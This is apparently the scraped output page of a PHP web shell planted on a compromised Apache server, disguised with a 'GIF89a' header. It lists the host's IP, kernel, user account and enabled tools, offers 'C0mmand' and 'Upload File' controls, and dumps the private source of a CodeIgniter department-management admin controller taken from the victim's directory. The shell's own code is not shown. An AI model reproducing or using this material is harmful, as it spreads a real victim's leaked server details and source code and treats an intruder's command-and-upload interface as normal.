GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.12.73.149 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/js/../../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to departments. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Department extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/DepartmentManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allDepartments'] = $this->DepartmentManagement->getAllDepartments()->result(); $this->load->view('admin/departments', $viewData); } else { redirect("admin/"); } } public function createDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createDepartment'); } else { redirect("admin/"); } } public function saveNewDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('deptName', 'Department Name', 'trim|required', array('required' => 'Department Name Can Not Be Blank.')); $queryByDepartmentName = $this->DepartmentManagement->getDepartmentInfoByName(trim($this->input->post('deptName'))); $departmentInfoByName = $queryByDepartmentName->result(); if ($this->form_validation->run() == FALSE) { $this->createDepartment(); } else if (sizeof($departmentInfoByName)) { $this->session->set_flashdata('errorMessage', "A Department With This Name Already Exits. Please choose A Different Name."); $this->createDepartment(); } else { $newDepartmentInfo = array( 'dept_name' => addslashes(trim($this->input->post('deptName'))), 'dept_description' => addslashes(trim($this->input->post('deptDescription'))), 'dept_added_on' => date("Y-m-d H:i:s"), 'dept_added_by' => $this->session->userdata("adminData")["smember_id"], 'dept_updated_on' => date("Y-m-d H:i:s"), 'dept_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->DepartmentManagement->createNewDepartment($newDepartmentInfo)) { $this->session->set_flashdata('successMessage', 'Department Created Successfully. <a href="'.site_url("admin/SubDepartment/createSubDepartment").'">Click Here</a> To Add Sub-Department.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Department. Try Later.'); redirect("admin/Department"); } } } else { redirect("admin/"); } } public function editDepartment($dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['departmentInfo'] = $this->DepartmentManagement->getDepartmentInfoBy($dept_id)->result()[0]; $this->load->view('admin/editDepartment', $viewData); } else { redirect("admin/"); } } public function updateDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $dept_id = $this->input->post('deptId'); $this->form_validation->set_rules('deptName', 'Department Name', 'trim|required', array('required' => 'Department Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editDepartment($dept_id); } else if (!$this->DepartmentManagement->isDepartmentNameSafeUpdate($dept_id, trim($this->input->post('deptName')))) { $this->session->set_flashdata('errorMessage', "A Department With This Name Already Exits. Please choose A Different Name."); $this->editDepartment($dept_id); } else { $departmentInfo = array( 'dept_id' => $dept_id, 'dept_name' => addslashes(trim($this->input->post('deptName'))), 'dept_description' => addslashes(trim($this->input->post('deptDescription'))), 'dept_updated_on' => date("Y-m-d H:i:s"), 'dept_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->DepartmentManagement->updateDepartmentInfo($departmentInfo)) { $this->session->set_flashdata('successMessage', 'Department Updated Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Department. Try Later.'); redirect("admin/Department"); } } } else { redirect("admin/"); } } public function toggleDepartmentStatus($dept_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $departmentUpdateData = array( 'dept_id' => $dept_id, 'dept_updated_on' => date("Y-m-d H:i:s"), 'dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dept_active_status' => $toUpdateStatus ); if ($this->DepartmentManagement->updateDepartmentInfo($departmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Department Status Updated Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Department Status. Try Later.'); redirect("admin/Department"); } } else { redirect("admin/"); } } public function deleteDepartment($dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $departmentUpdateData = array( 'dept_id' => $dept_id, 'dept_updated_on' => date("Y-m-d H:i:s"), 'dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dept_delete_status' => 'T' ); if ($this->DepartmentManagement->updateDepartmentInfo($departmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Department Deleted Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Department. Try Later.'); redirect("admin/Department"); } } else { redirect("admin/"); } } public function undoDeleteDepartment($dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $departmentUpdateData = array( 'dept_id' => $dept_id, 'dept_updated_on' => date("Y-m-d H:i:s"), 'dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dept_delete_status' => 'F' ); if ($this->DepartmentManagement->updateDepartmentInfo($departmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Department Recovered Successfully.'); redirect("admin/Department"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Department. Try Later.'); redirect("admin/Department"); } } else { redirect("admin/"); } } }